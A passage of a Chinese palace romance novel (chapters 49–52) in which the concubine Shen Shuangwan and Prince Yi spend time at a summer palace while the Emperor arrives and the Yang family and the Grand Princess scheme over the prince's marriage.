沈霜晚思索了一会才想起玉兔峰的位置,那边道路难行,全是悬崖峭壁,仪王便只与她在山下略走了走,又去瀑布边看了看。
于是她便先坐下,然后缓缓道:“殿下也带着妾去玉兔峰看过,只是道路难行,没有往上攀爬。”顿了顿,她看向了皇后,接着道,“妾比较喜欢平溪,那儿山风凉爽,还有溪水潺潺。”
皇后笑着点了点头,道:“平溪的确是个好地方,从前那儿有座水榭,不知现在还在不在?”
沈霜晚道:“还在,妾跟着殿下还在水榭中玩赏了一回。”
皇后看着沈霜晚,目光中露出几分欣赏,口中道:“你年纪虽然比十一郎略小了两岁,可却比他稳重。”
沈霜晚正要起身道不敢,皇后便示意她继续坐下。
“他没真的经历过什么大事,所以行事肆无忌惮,我也不忍多说他。”皇后笑了笑,“你却真的吃过苦头,故而才稳重。这不过是事实罢了,你不必不安。”
沈霜晚低下头,道了一声“是”。
皇后接着又道:“你在他身边,我是放心的,既放心他,也放心你。”
沈霜晚道:“谢娘娘信任。”
皇后看着她,道:“你行事让我放心,我便也要让你安心,不至于总心生惶惶。我素来不喜欢叫底下人胡乱揣测我的心思,有什么事情我总很愿意明说,对你也是如此。”
沈霜晚微微提起一颗心,道:“娘娘有什么吩咐尽管说便是。”
皇后道:“你也知道十一郎从前有过一位王妃,是杨家的女孩儿,她到你们府上闹腾过几次,想来是见过。”
“是。”沈霜晚点了头。
“十一郎不喜欢杨家的这位表妹,也对杨家的女孩儿没什么好的感观。”皇后平静道,“人的感情就是如此,喜欢与不喜欢从来都是分明的。十一郎的性子像我,从来都不是扭捏别扭口是心非的人,你可以对他多放心一些。”
这话叫沈霜晚生出了几分茫然,她试探着看向了皇后,皇后面上拂过了一些隐晦不明的不愉。
“圣驾应是明日会到北岭。”皇后说道,“圣上素来怜惜旧臣,杨家又是我的娘家人,到时候会有些年轻女孩儿会来行宫中作伴。年轻的女孩儿们总是心高,或者会说些不太得体的话,你只管叫十一郎替你挡了。”
沈霜晚顿了顿,心中忽地生出许多暖意来。
她道:“请娘娘放心,妾明白的。”
“你在十一郎身边,也不是来受委屈的。”皇后看着她,“我也不爱看我身边有人受委屈,你明白么?”
沈霜晚道:“娘娘的意思,妾明白。”
“明白就好。”皇后点了点头,又感慨地叹了一声,“我生了二子一女,前头两个总是嘴上说叫我放心的话,可总把心事憋在心里,最后终究是酿成大祸无法收拾,到如今都不能入土为安。我再不愿见这样的事情。你虽然只是十一郎的媵妾,可我知道他喜欢你,你若真忍气吞声出了些什么事情……”皇后摇了摇头没有把话说完,只又道,“我就只剩这么一个儿子,又近花甲之年,也不知还能维护他几年。”
沈霜晚低下头,皇后这话叫她觉出几分悲凉,还叫她想起已经去世多年的连氏。
她沉默了一会才道:“请娘娘放心,妾不会叫娘娘和殿下难为。”
.
烈日下,宫道上除了圣驾一行,再不见旁的人。
浩浩荡荡的御驾到达宝吉镇时候果然已经是傍晚。
夕阳低垂,天边晚霞铺满了山岭。
今上从御驾上下来,见过了早早等在宝吉镇上的大小官员,吩咐就在宝吉镇过夜,明日一早再往北岭去。
仪王跟在今上身侧,想要直接上山,但又被今上拎住了。
“你也不许走夜路。”今上如此说道,“你便与朕一起用晚膳。”顿了顿,他在人群中看到了仪王身边的长史罗粱,便示意罗粱上前来,“你替你家殿下上山一趟,再给朕带个话给皇后,说今日朕与十一郎就在山下的宝吉镇,明日一早就上山去了。叫皇后不要担心。”
罗粱上前应下,然后退到一旁。
仪王忙叫住了罗粱,道:“你再与沈夫人说一声,说我今夜不回去了。”
一旁的今上好笑地看了仪王一眼,向罗粱道:“你替他把这话也传到了,省得你家殿下总是心里有事。”
“晚上也不必下山了,路不好走。”仪王又道。
今上点了点头,道:“的确如此,夜晚便不必再下山。”
罗粱把这些话一一应下,便重新带着人往山上去。
.
圣驾虽然不上山,但随从之人却并不能全部留在宝吉镇中。
除却那几个亲近的官员之外,其余人等包括官员们的亲随扈从等等,却都要先到行宫中,待到明日好在山上摆出迎驾的架势来,否则便会显得迎驾时候实在不够隆重。
杨家送来的那些女孩儿们便在夕阳中乘车往山上去了。
待到他们到达行宫时候,天色已经完全暗下。
行宫中的总管和禁卫毫不留情把上山来的车驾一一检查了,然后才按照各家的牌子把人送走,行李之类等到再检查之后,明日才能再送往各处。
如此,便一直快折腾到了三更天都过了,各处才安静下来。
但这也不过就安静了不过几个时辰,仍是天未亮,行宫中各处又苏醒过来,预备着天亮时候御驾上山种种了。
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这一夜沈霜晚睡得也并不安稳,
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也不知为何她却梦见了数年前京中那一场大乱。
事实上那时候她在深宅之中,对那年的大乱了解并不多。
她只从薛望那里知晓,是那位身居高位的丞相郑鹤得构陷了先太子,恰逢那时候皇后带着彼时只是襄安郡王的赵弘美在东都,而今上又与惠妃在绣岭的九成宫,京中只留了先太子与一众朝臣。
究竟是如何乱起来她并不知晓,等到她觉察到外间已经是动乱时候,先太子带着几位已经封王的皇子还有公主与郑鹤得已经厮杀到一方守城一方攻城的地步。
她那时候惴惴不安在薛家,与薛望在一起。
薛望想要去追随先太子,但朱氏是不应允的。
朱氏在祖宗牌位面前大声嚎哭,说薛望若是去了,她也直接碰死在祠堂里面一起死了,如此娘俩儿在阴间也有个照应云云。
薛望与朱氏如此僵持了两日,忽然有一天听说郑鹤得带着人马去了绣岭,这消息还没传来半日,又听说郑鹤得攻破了京城,先太子带着一众公主皇子弃城而去。
一切发生得快得不可思议,简直叫人无法反应。
而她梦见的便就是先太子一行人离开后的一个夜晚。
那个夜晚,她在房中做针线,她听着薛望说外面的事情。
薛望道:“皇后带着襄安郡王已经在回京的路上,现在看来……母亲那会儿倒是也没错。”
梦中的她似乎想问个缘由,但她无法发出声音。
薛望又道:“圣上与惠妃娘娘也在回来的路上了,应当是圣上与惠妃娘娘更快一些吧!也不知这事情究竟要如何收场。太子毕竟是太子啊!”
她拿着针线,似乎一眨眼就过了半个月。
仍然是在薛家,仍然是在那房间当中。
薛望焦灼道:“郑鹤得竟然被赐死了,可太子也没了……这事情要如何收场?”
薛望又道:“仪王,十一皇子重新封了仪王,这应当是对皇后的补偿?陛下会不会再立一个太子?”
拿着针线的她不知如何回答。
皇后的话语忽然在她耳边响起了。
……我生了二子一女,前头两个总是嘴上说叫我放心的话,可总把心事憋在心里,最后终究是酿成大祸无法收拾……
当年京中的大祸大乱……
沈霜晚猛然从梦中醒过来,皇后说的一子一女。
是先太子与长清公主。
是那场大乱中带着兵马厮杀但最后仍然仓皇逃离出京城最后客死异乡的两位殿下。
天已经蒙蒙亮,侍女从外间进来了。
“夫人,这会儿起身吧?娘娘身边女官过来说,圣驾已经在准备上山了。今日须得去行宫外迎驾。”侍女说道。
沈霜晚回过神来,梦开始慢慢褪去。
她便站起身来,又往沈云和奶娘住的那间看了一眼。
“云儿不必过去吧?”她问。
侍女忙道:“小公子不必前往,这是娘娘交代了的。”
沈霜晚点了点头,便不再多问,只洗漱穿戴了便跟随宫人往外走去。
49. 九娘
行宫似乎在一夜之间变得嘈杂了起来。
甚至风中都有了燥热的意味。
沈霜晚跟着皇后身边女官一起到了正殿旁的配殿候立。
配殿中已经有许多穿着华丽的女人,从服饰看,这些女人应当多半是诰命夫人之类的命妇,少数头上没有妆扮的,便应是随从或者家人之类。沈霜晚从她们脸上扫过,其中绝大多数都不曾在行宫见过,应是昨天半夜才上山来。
不过站在最前头的是她熟悉的面孔,武阳长公主。
武阳长公主看起来比去年在宫中见到时候要瘦了许多,此刻站在最前头,正侧头与旁边的一位她并不认识的夫人说话。
她从仪王那里听说成安郡主与薛望的亲事是在秋天,此刻为何武阳长公主独自一人来了这里?
想到这里,她不由得又觉得好笑,她难道还为他们的亲事担忧起来。
把这些乱糟糟的想法丢开,她收回目光,再次看向了这些衣着华美的贵妇人。
这是沈霜晚第一次迎驾,她还是第一次知道迎驾当中还有这么多的事情,须得让其中一部分人先于圣驾到达目的地,然后再来迎接圣驾的到来。
乍一听觉得荒谬,可细细一想又觉得这应便是皇权。
正想着这些有的没的,她觉察到有人在看她。
顺着目光视线回看过去,却是几个陌生的年轻女郎。
看着衣着打扮应是世家大族的贵女,但看相貌却并不相识,应当是从前也没有见过。
沈霜晚迎上她们目光,而她们却又躲闪了起来,把转了身不再看她。
一旁的侍女上前了一步,悄声在她耳边道:“那三位是杨家的女孩儿,杨氏的堂妹。”
沈霜晚忽地恍然,便点了点头,不再多看她们。
这时,外面有宫人进来了,请了配殿中的女眷们都前往侧殿。
前往侧殿,身边的侍女便不能再跟随,沈霜晚便见前头那些夫人娘子们赶紧又整了整衣冠,跟随在宫人身后往外走,她低头看了眼自己身上穿着,安心跟在了后面。
.
太阳已经完全升了起来,哪怕是山中,也让人感觉到十分炎热。
今上带着一众王公大臣们直接进到了行宫中,在珠元殿见到了皇后,又亲自叫仪王上前去扶着皇后去往正位上坐了。
皇后并不推辞,她叫仪王站在自己身旁,自己与今上一起在上首坐了。
“昨日真怕陛下听了这臭小子的话,骑着马就往行宫来。”皇后向今上笑道,“这么热的天,我担心得恨不得叫人追上去看看。后来想着陛下必定会管好他,又听说圣驾是傍晚才到山下,便安心了。”
今上笑着道:“朕若是年轻个二十岁,必定是要骑着马就直接往行宫来的。”一边说着,他拍了拍皇后的手,忽地感慨起来,道,“如今朕与你都老了,也不知这行宫还能来几次。”
皇后道:“陛下这话我是不爱听的,陛下很应当照一照镜子,哪里有老态?分明还年轻得很。”
今上听着这话便开怀大笑,他指着一旁的仪王道:“便看看他这臭小子,朕也不敢老,他这么大了还一团孩子气,朕真怕朕有天老了,会有人欺负他。”
仪王笑着上前来,道:“哪里有人敢欺负儿臣呢,父皇多虑了。”
今上点了点殿中的王公大臣们,漫不经心笑道:“你是不懂的,这些臣子们最爱欺负人。”
这话叫那些王公大臣们脸色微变,纷纷上前来躬身道了惶恐和恕罪。
今上摆了摆手示意他们可以各自退下,口中又道:“这是在行宫中,不必如在京中那样一板一眼,朕带你们过来也是想叫你们能在这避暑之地休息数日。”
臣子们便忙又应下,见今上再无吩咐,才依次退到殿外去。
“皇妹也来了,叫她们过来见一见。”今上看向了皇后,“她说得可怜,说既舍不得女儿出嫁,又拗不过女儿那牛脾气,想跟着一起来,我便应允了。”
皇后道:“昨夜便听说长公主到了,还没见她,这会应当便都在侧殿候立。”顿了顿,她看向了一旁的内侍,接着道,“便叫侧殿的人这会儿都过来吧,行宫中我也不耐烦天天见人,今日见过一次,便各自随着家人避暑去。”
内侍请示地看了一眼今上,等着今上点头了,才应了下来,往侧殿去宣旨。
皇后便叫仪王退坐到一旁去,又叫人抬了冰山进来。
过了一会,内侍便带着一众命妇夫人们进到正殿,走在最前头的,自然便是武阳长公主。
仪王看了一眼这些女人,注意到了跟在后面的沈霜晚。
他眼睛亮了亮,低头在桌子上找了颗葡萄,对着沈霜晚方向丢了过去。
而沈霜晚很快便看到他,还眼疾手快把那葡萄接住了,对着他摆了摆手。
一行人规规矩矩对着上首的皇帝和皇后行礼,然后一旁内侍叫起,她们便又依次站起来。
今上老早看到仪王刚才丢葡萄的样子,他着意多看了一眼站在后头的沈霜晚,又看了一眼前面的长公主,想了想才道:“十一郎,你带着沈氏先回去吧!省得你在这儿觉得无聊。”
仪王听着这话便站起来,他拎着葡萄向沈霜晚勾了勾手,等着她走过来了,才拉着她一起向帝后行礼告退。
“连吃带拿的,真是。”今上笑着摇了摇头,又看向皇后,“午膳时候让他们过来。”
皇后笑了笑,道:“何必急于一时呢,说不定两个人要出去走走看看,等明日再见也不迟。”
武阳长公主自然注意到了和仪王一起离开的沈霜晚,她想到家里的袁嘉儿,心里又是一阵失落,她打起精神来看向了帝后二人,笑着道:“娘娘说的是,小孩儿都是爱玩的,说不定这会儿要出去走走。仪王好不容易看着心定了一些,也不似以前那样愣头愣脑不开窍了,陛下就让他自在些吧!”
皇后有些意外地看了武阳长公主一眼,这位长公主多数时候是和太后一条心,倒是少见她为了仪王多说什么。
长公主接着又道:“山中比京中凉爽得多,昨日我在行宫中,倒是好好睡了一觉,比在
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京中时候睡得香甜。陛下来到行宫,也很应多多保养身体,吃好睡好,不要为小儿女那些事情过多操劳。”
今上点了点头,便道:“说得有理,便让他们好好玩耍。”
皇后笑了笑,看向了人群中的几个杨家的女孩儿,温声道:“我之前见过你们,你们小女孩儿出门一趟也不容易,便叫人送你们去老夫人那边,这些时日就在山中好好避暑。”
那几个女孩儿便只好出列来谢过,然后跟随宫人离开。
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仪王吃着葡萄和沈霜晚一前一后往丽景殿走。
“真不吃?”仪王揪了一颗饱满的紫葡萄递给沈霜晚,“真的是甜的。刚才那个我也不知道为什么是酸的。”
“不吃。”沈霜晚笑着摆手,“刚才那个酸死了,不想再试。”
“那我也不吃。”仪王左右看了看,招手让远远缀在后头的宫人上前,把那串葡萄递给了他们,“你们拿着吃了吧,太酸的话也别勉强。”
宫人们忙接下了葡萄,见仪王没别的吩咐,便站在远处,等到仪王和沈霜晚走远了,才重新跟在后面。
“你今天怎么也过来了?”仪王拉着沈霜晚的手问,“长公主没对你说什么吧?”
“娘娘那边的女官叫我过来,我就过来了。”沈霜晚笑着说,“应当就是要拜见陛下吧?”顿了顿,她才接着又道,“长公主应当没注意到我,她那会在和其他人讲话呢。不过有几个杨家的女郎盯着我看了许久,但我一去看她们,她们又转头装作没见过我的样子。”
仪王道:“用不着搭理她们,连母后现在都嫌恶杨家,不过是看在外祖母的份上才给几分面子。”
沈霜晚便点点头,又笑着道:“我自然是不担心的,她们多半是惦记着殿下您,而不是我。”
仪王听着这话,便道:“我当然也不会搭理她们,你放心便是。”
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杨家的三个女孩儿跟在内侍身后出了行宫,见到了等候在宫门处的杨家老夫人和卢夫人。
“祖母、大伯母。”三个女孩儿依次上前来行了礼。
“天热,先上车吧!”卢夫人示意身后的人从马车上放下了踏凳,然后看向了老夫人,“今日到现在没有娘娘旨意,娘娘应当是不会见我们了。等午后再差人过来打听吧?”
老夫人点了点头,道:“午后仍是你我一并过来,陛下到了行宫,我们须得见一见陛下,再行礼的。”
卢夫人不好多说什么,只示意杨家那三个女孩儿上车去。
她看着她们,道:“九娘,你年纪大些,照顾好两个妹妹。”
杨家九娘乖觉地应下来,她往行宫内看了一眼,天真道:“大伯母,仪王今日没在娘娘和陛下身边,直接带着那个沈氏就走了。那个沈氏就是……去年表哥从宫里带走的那个永平侯夫人么?”
卢夫人面色沉下来,她道:“这不该是你们这些女孩子应该打听的事情,上车去!”
九娘鼓了下脸颊,并没有辩驳,只乖乖与另外两个女孩儿一起上了车。
50. 位卑者
丽景殿中,仪王靠在小几旁,挑挑拣拣地扒拉着盘子里那几个石榴。
沈霜晚在另一边,逗着还不会说话、才刚会翻身的沈云玩耍。
小孩儿似乎格外喜欢翻身,所以沈霜晚就不厌其烦把他翻了个,他在手足并用翻个面。
——也不知到底有什么好玩的。
仪王拿起了一个石榴,抬眼又看向了沈霜晚。
“等会我们出去?”他问。
沈霜晚把小孩儿搂起来抱在怀里,一大一小一起看向了他。
“去哪儿?”沈霜晚问。
仪王注意到这母子俩有一模一样的漂亮大眼睛,在小孩儿脸上像湿漉漉的大葡萄,在沈霜晚脸上则是含情脉脉的黑玛瑙。
小孩儿对着他咿咿呀呀了几声,手舞足蹈不知道想表达什么。
仪王想了想,随手把手里的石榴递给沈云,那小孩儿果然接了过去,然后转头往沈霜晚手里塞。
“噢给我石榴呀~真乖乖~”沈霜晚抱着她的儿子亲了两下,接了他的那大石榴,又递还给了他。
那臭小子被亲妈亲了两下,心花怒放嗯嗯啊啊笑起来,抬头就糊了他亲妈一脸口水。
他亲妈拿着帕子擦了脸,又给他擦了嘴巴,终于腾出空来再次看向了他。
他拿着那本来就属于自己的石榴,心里一时间转了不止一百个念头,最后道:“去跑马?”
“殿下昨天在太阳底下跑了一天还想骑马呀?”沈霜晚诧异地看着他。
他又看了看那手舞足蹈开始自娱自乐的小孩儿,忽然发觉自己心里竟然有几分醋意,他顿了顿,心想自己应当是心胸宽广的伟丈夫,因为这小屁孩吃醋也太小家子气了些,太不大度也太没气量。于是他清了清嗓子,道:“父皇来行宫了,这两天来拜见的人肯定多,我们在行宫也不方便,干脆就出去到瑶峰上的别业住两天,怎么样?”
沈霜晚招手让奶娘过来把小孩儿抱走,认真地看向了他,道:“陛下来了行宫,殿下应当随侍左右吧?方才我在偏殿时候也听到陛下说话,陛下言语中对殿下十分看重。”
仪王看着奶娘抱着沈云走开了,挥了挥手叫其他人也退下,才道:“你竟然会信一个皇帝随口说的话?皇帝的话虽说是金口玉言,但又是最不信不得的。”
沈霜晚笑了起来,她道:“我虽不知殿下为何这么说,只是有句话,殿下听了也别恼火。”
仪王看着面前的沈霜晚,已经到了嘴边的那些关于皇权的刻薄话语咽了下去,转而道:“你尽管说,我当然不会恼火。”
沈霜晚道:“信与不信,是从心而论。”
仪王顿了顿,等着她继续往下说,可却只见她说完这句便闭了嘴。
他皱了下眉头,忽然也明白了她想说的是什么。
是论迹不论心。
一时间,他心中涌起许多思绪,他甚至感觉自己有无数个理由可以反驳这句论迹不论心,或者是千言万语实在难以找出哪一条更有说服力,他竟不知从何开始反驳了。
“我经历自然比殿下少,见识也不够长远。”沈霜晚声音温和,“但有句话说来殿下切莫嘲笑,我是女人,除却家父尚在时候那五年时光,从我五岁到如今,无论是在沈家还是在薛家或者是在殿下身边,我总需要抬头看人。”
仪王忽地感觉到了一些什么,他看向了面前这个总是温温柔柔似乎没有脾气的漂亮女人。
“抬头看人,身卑而言轻。”沈霜晚也看着他,“位高者如何言说如何施为,身卑者听从便是了,想得太多——于位卑者而言,实在是增添太多不必要的思绪。我从前想不通这些,便总想争个清楚明白,我宁可不要,也要把万事都理得清清楚楚。”
“后来……?”仪王轻声问。
沈霜晚平静地笑了笑:“后来有一天我忽然明白了,这世上位卑者便就是这样的处境,有许多事情不值得去想太多。没有必要退让,也没有必要去分辨别人想什么,我想要做的事情,我会去做,至于结果如何——我为自己想做的事情努力过了,我应当也不会后悔。”
仪王静默了片刻,他忽地觉得无话可以
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应答。
沈霜晚说她是女子,是位卑者。
这世上若从那龙椅往下看,谁不是位卑者呢?
他也是位卑者——可他却并没有这么认为过。
他微微皱了眉头,他再次看向了沈霜晚,沈霜晚也正看着他。
“是我不应当说这些话,殿下便当我没说过吧!”漂亮温柔的女人如此递出了台阶。
他摇了摇头,却并没有接下去,而是道:“你说得很对,我只是——有一些事情,并非只是看起来那么简单。”
“那便是我说错了,殿下不要当真。”和顺温婉的女人弯起了她妩媚的眼睛。
仪王很明白自己这时候其实应当顺着她的话说下去了。
可他却又执着起来,他心底隐隐浮现了些许担忧——这忧虑来得太过突然,又毫无道理,可细细想来也算有迹可循,她会不会其实并没有那么喜欢他,她其实也只是顺应了位卑者不得不低头那句话,她将来若真的觉得他不可托付,又或者喜欢上了别人,她会不会心一横抱着儿子就走了?
他捏着手里的石榴,脑海中竟然是纷纷杂杂想不出个所以然来。
这时,外面传来了脚步声。
他看向门口,只见是皇后身边的内侍正站在了门口。
“殿下,娘娘说让殿下晚膳时候过去用膳,午膳便不必过去了。”内侍恭恭敬敬地说着,又看了一眼沈霜晚,“娘娘还说让沈夫人一道过去。”
沈霜晚有些意外,她看向了仪王。
仪王放下石榴,拉着沈霜晚一起站起身来,向那内侍道:“我们知道了,晚上便过去母后那边。”
内侍也对着他们再次行礼,然后便退走开来。
仪王没有松开拉着沈霜晚的手,他看着她,把刚才那乱纷纷的思绪都抛开,他道:“看来今日是不能出去玩了,我们去钓鱼,怎么样?”
沈霜晚便笑着应下来。
仪王握着她的手,他看着她秀丽的眉眼,光洁的额头,红润的嘴唇,他心里翻起许多遐思,又硬生生压了回去。
51. 长公主
夏日山中的午后也有那么一些黏腻的热。
幸好有风,这燥热便不是那么难耐。
仪王煞有介事戴着斗笠坐在鱼池边,鱼竿一动也不动,半天过去了,半条鱼也没钓起来。
之前在他身旁等待的水鸟已经飞走去别处躲太阳,只剩下皇后养的那两只狮子猫还老老实实坐在他旁边等着鱼吃。
沈霜晚坐在回廊下拿着冰镇过的酸梅汤喝了一口,再看一眼执着钓鱼的仪王,最后对着那两只狮子猫招了招手,喊了声咪咪。
仪王之前特地抱着这两只狮子猫到丽景殿来过,她还喂这两只狮子猫吃过猫饭,就算不能算好猫友,大约也是能算熟猫。
看到沈霜晚招手,那两只狮子猫站起来先伸了腿拱起屁股拉伸了一番,然后慢条斯理朝着她走过来。
坐在那儿钓鱼的仪王回了头,他随手摸了摸那两只猫蓬松的大尾巴,再看向了沈霜晚,问:“你在喝什么呢?”
沈霜晚便拿着酸梅汤朝着他走过去,小声道:“不是说钓鱼要安静?这么大声说话不怕把鱼吓走了?”
仪王接了酸梅汤喝了一大口,又看了看毫无动静的鱼竿,接着又把杯子剩下的酸梅汤喝光,然后才愤愤道:“这池子里面可能根本没鱼吧!”
“我看他们都是早晚钓鱼的,这大日头……应当不是钓鱼的好时机。”沈霜晚摸了摸那两只狮子猫的脑袋,猫儿呼噜呼噜蹭着她的小腿,“要不还是算了吧?小心把娘娘这两只猫晒中暑了。”
仪王低头看那两只围着沈霜晚撒娇的猫,酸溜溜道:“你怎么不担心我晒中暑?”
“殿下又不是只会等着鱼吃的傻猫猫。”沈霜晚笑着说。
这话听得仪王心里仿佛有猫抓一样,他拉了拉沈霜晚的手,把鱼竿搁到一旁去,然后站起来。
“算了,还是回屋子里去,我怕我晒得太黑,你转头就嫌弃我丑。”他一本正经说道,“我知道你们女人是爱美的。”
沈霜晚再次笑了起来,正打算把那两只猫抱起来与仪王一起回丽景殿时候,忽地听到身后一串银铃般的笑声传来,她回头,便只见是杨家那几个年轻女孩儿正朝着这边走过来。
仪王眉头皱起来,他弯腰捞起那两只猫,自己抱一只,再把另一只交给沈霜晚,口中只道:“走了,回丽景殿了。”
他话音未落,杨家九娘娇嗔埋怨地一跺脚,开了口:“表哥!你走这么快做什么?”
仪王恍若未闻,只拉着沈霜晚往另一边走。
杨九娘与另外两个杨家姑娘交换了眼神,她快走两步,拉住了仪王的袖子,埋怨起来:“表哥,你总不能因为五姐,就觉得我们这些表妹都是心怀叵测的人吧?祖母和大伯母在陪娘娘说话,叫我们在宫里逛一逛,宫里我们谁也不认识,也只好来找表哥呀!”
仪王把自己袖子从杨九娘手里拽出来,他朝着一旁的内侍招了招手,道:“你带着这三个杨家姑娘随便走走,注意着母后那边是否有传话。”
内侍上前来应下,然后站在了杨九娘的身旁。
杨九娘面上不见半点恼火,她笑眯眯道:“有内侍也不错。”一边说着,她一边看向身后的两个妹妹,又道,“我就说还是得来找表哥吧?这不,有人带着走了。”
另外两个杨家姑娘便一起笑起来。
三人一起向仪王行礼谢过,便就在原地站定了。
仪王没有搭理她们,只一径拉着沈霜晚回丽景殿去。
待到仪王走远了,杨九娘与身后两个杨家姑娘便就在回廊中随便找了地方坐下。
她挥了挥手示意内侍退到一旁去,口中笑道:“我们暂时在这儿坐一坐,等会儿再叫你。”
内侍应下,便退到一旁候立。
“表哥如今对我们杨家人可真是冷言冷语,没半点好脸色了。”杨九娘向两个妹妹说道,“十三妹十四妹,我看啊,我们来这一趟也是白来。”
“大伯母肯定是不乐意我们来。”十三娘如此说道,“她今天都不愿意叫我们一起进宫来给娘娘单独请安。”
“大伯母自然是想着五姐呢,巴不得殿下看不上我们。”十四娘哼了一声,“不过仪王身边已经有人,她那么漂亮……”她又朝着仪王离开的方向看了一眼,颇有些沮丧,“那位要是牡丹,我就是路边的杂草,谁会放着牡丹不爱去爱杂草呢?”
这话把姐妹三人都说沉默了,半晌没人接话,就连九娘也无话可说。
静默了一会后,杨九娘开了口,她道:“我听说
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,武阳长公主和我们祖母说好了,会帮忙敲边鼓,让杨家的女孩儿到仪王府去做王妃。”
“长公主?”十三娘和十四娘一起看向了她。
“出门前我听三婶说的。”九娘看着十三娘,“你娘没和你说?”
十三娘诚实地摇了摇头,道:“我娘原还不叫我来呢,只是不知道为什么突然改了主意。”
“可长公主为什么要这么做啊?”十四娘有些不解。
九娘嘲笑起来,鄙夷道:“还能为什么,不还是成安郡主?那位沈氏从前是永平侯的正妻,和离的时候闹得那么难看,成安郡主又非要嫁那位永平侯,京中不知多少人看笑话。若仪王就是偏宠沈氏,事事带着沈氏,岂不是总在提醒京中众人当初永平侯成安郡主这狗男女做了丢人的事情?”
十三娘和十四娘也都明白了其中缘由,两人面上也露出不屑神色来。
“无论如何,对我们杨家算是好事,所以祖母就答应了。”九娘一摊手,看向了两个妹妹,“总是个机会呢,若真的能做仪王妃,将来说不定能做太子妃,还能当皇后呢!”
“还是得看缘分。”十三娘想了想,如此说道,“若是表哥就是不愿意,我还是算了。”她比了个彼此之间心知肚明的手势,“我怕她发疯,我可不想和疯婆子掰扯,这京中好郎君那么多,我是不想一棵树吊死的。”
一旁十四娘连连点头:“正是如此,我们家又不是相看不到好郎君!”
华阳殿中,杨老夫人正与皇后说着家中的三个女孩儿。
皇后漫不经心听着,目光在殿中扫了一圈,没见着自己的两只狮子猫,便招手叫了女官过来询问:“珠珠玉玉两只猫跑到哪里去了?”
杨老夫人的话突然被打断,一时间没能接上,只带着几分埋怨看向了女儿:“你啊你啊,怎么还想着那些猫儿狗儿。”
“十一郎的亲事我先前就说过了,我听他的意思,他不愿意,我就不会点头。”皇后看向了自己的母亲,“母亲那些话我就当没听到了。”
女官上前来,道:“殿下午后过来把珠珠和玉玉抱走了。”
皇后点了点头,便放了心:“让他晚膳时候记得还回来。”
女官应下,便吩咐了下去。
52. 家宴
山风悠悠。
今上与长公主慢慢随着山路往行宫后的那小山丘顶上走。
两人一前一后行到了山顶,今上回头看向了长公主,笑道:“你有什么话想说便说吧!从出京时候朕便瞧出来你是有心事的。若你是有什么事情不好对皇后开口,朕替你开口也无妨。”
长公主勉力笑了笑,道:“让陛下看出来了。”
“成安的婚事在即,你却跟着朕出京,哪能是没点心事呢?”今上随意笑了笑,这山丘虽然不算太高,但也足以把行宫收入眼底,他看了长公主一眼,“怎么,成安又觉得薛望不好?想反悔?”
“她反悔倒是好了。”长公主恨铁不成钢地摇了摇头,“我都不知她为何就痴心到那样,难不成那薛望给她下了什么蛊不成?”
“小儿女么,喜欢便就是一门心思喜欢。”今上如此说道。
长公主定了定心神,抬眼看向了今上,下定决心一般开了口:“我就嘉儿这么一个女儿,这辈子总是要为她打算的。那日行纳征礼宾客来了不少,闲话也实在太多——我不叫她知道,是怕她伤心难过做出什么不好的事情来,可这瞒得了一天两天,将来她总会听到耳朵里去。”
这话叫今上不禁笑了一声,他道:“这悠悠之口,朕也无法叫他们都闭上啊!若朕有这本事,何须听那些御史们的喋喋不休?”
长公主也笑了起来,笑过之后便是一叹,她道:“我之前想着若是能与沈氏和解,我认沈氏为义女,或者外头的话便好听些,不会叫人觉得嘉儿是仗势欺人的。只是沈氏不愿意——她自然也有不愿意的理由,若我是她,我也不愿。”
今上转而看向了长公主,他露出了几分疑惑神色:“这事情朕倒是没听你说过。”
“我也没敢宣扬,想做这些事情,总得你情我愿才好往外说。”长公主叹了口气,“我叫人往沈氏跟前递了话,她便直接回绝了。”
今上点了点头,没有追问。
长公主小心看向了今上,又道:“我想着,若弘美能有个王妃,大家便也不会总盯着他府里的一个媵夫人。京中王侯将相谁家没几个媵妾呢?”
今上再次看向了长公主,他微微皱了眉,等着长公主继续说下去。
长公主谨慎端详着今上神色,猜度着今上应当没有太生气,才继续说下去。她道:“从前因为杨家的五娘,弘美与杨家闹得难看,这几年也叫人看了不少笑话,还让陛下与皇后娘娘也连带着与杨家尴尬着难以相处。可杨家也不止一个女孩儿,我看这次随同一起来行宫的那几个女孩儿便很好,落落大方,相貌也不错。”
“婚姻之事,还是不能勉强。”今上如此说道。
长公主想了想,又道:“弘美是个小孩脾气,陛下总得要教教他,难道叫他一辈子就做个小孩儿了?纳个杨家的女孩儿做王妃,可算是一举多得,既叫仪王府有了女主人,又缓和了杨家与皇后娘娘的关系,再叫弘美自己也长进些。”
今上看着长公主,笑了一声,道:“虽然有这样多好处,可朕却不会因为这些事情去强迫他。”
长公主抬眼,与今上的目光相触了,她还想说什么,但被今上止住。
“朕与岁英只剩下他这么一个孩儿,岁英不舍得他受委屈,朕也不舍得。”今上淡淡叹了一声,“当年的事情,朕不想回头去看、也不忍仔细去瞧,故而便搁置到现在也没有结果。无论是岁英或者弘美,他们对朕是有怨的。”
话忽然说到了当年太子之事上头,长公主心中一凛,不敢再开口。
“人都有怨气,朕也常常感觉心中有怨怼,继而愤愤不平。”今上说道,“毕竟朕不过是凡人,凡人有七情六欲,朕便也有喜怒忧惧。”他再次看向了长公主,“朕是皇帝,你是公主,这世上没有十全十美的事情。”
长公主低了头,道:“陛下这话叫我羞愧极了。”
“不过你方才说的那些,并非毫无道理。”今上话锋一转,看向了山下的巍峨宫殿,“你可以与岁英与弘美开口,若他们愿意,你便能如愿。若他们不愿意,你是姑妈,总得向着自家子侄这边。”
这话让长公主心中又升起几分希冀了,她与杨家的老夫人通过书信,若是杨老夫人能说服了皇后,那么此事便是能行的。
她忽地觉得心头石头被卸下了,这事情若是能成,便是老天都站在她这边,能叫她的傻女儿将来无忧无虑;若这事情便就是不成,她便也不必太过思虑,女儿嫁了人,她总不能管一辈子。
.
太阳落入了山谷之中,晚霞漫天。
仪王与沈霜晚一人抱着一只猫进到了华阳殿中。
宫人迎上前来,接过了那两只懒洋洋的猫,口中恭敬道:“娘娘方才还在问珠珠和玉玉,想叫奴婢们催殿下和夫人早些过来呢!”
那两只狮子猫只在宫人怀里略站了一会便跳下地来,慢悠悠踩着猫步往殿中走。
仪王拉住沈霜晚的手,向宫人道:“我是肚子饿了,便早早儿过来找母后用晚膳。母后现在在何处?可能吃饭了?”
宫人忙道:“娘娘就在殿中等着殿下和夫人,晚膳已经备好了。”
“父皇要来么?”仪王往侧殿扫了一眼,看到了专门伺候今上的御厨们。
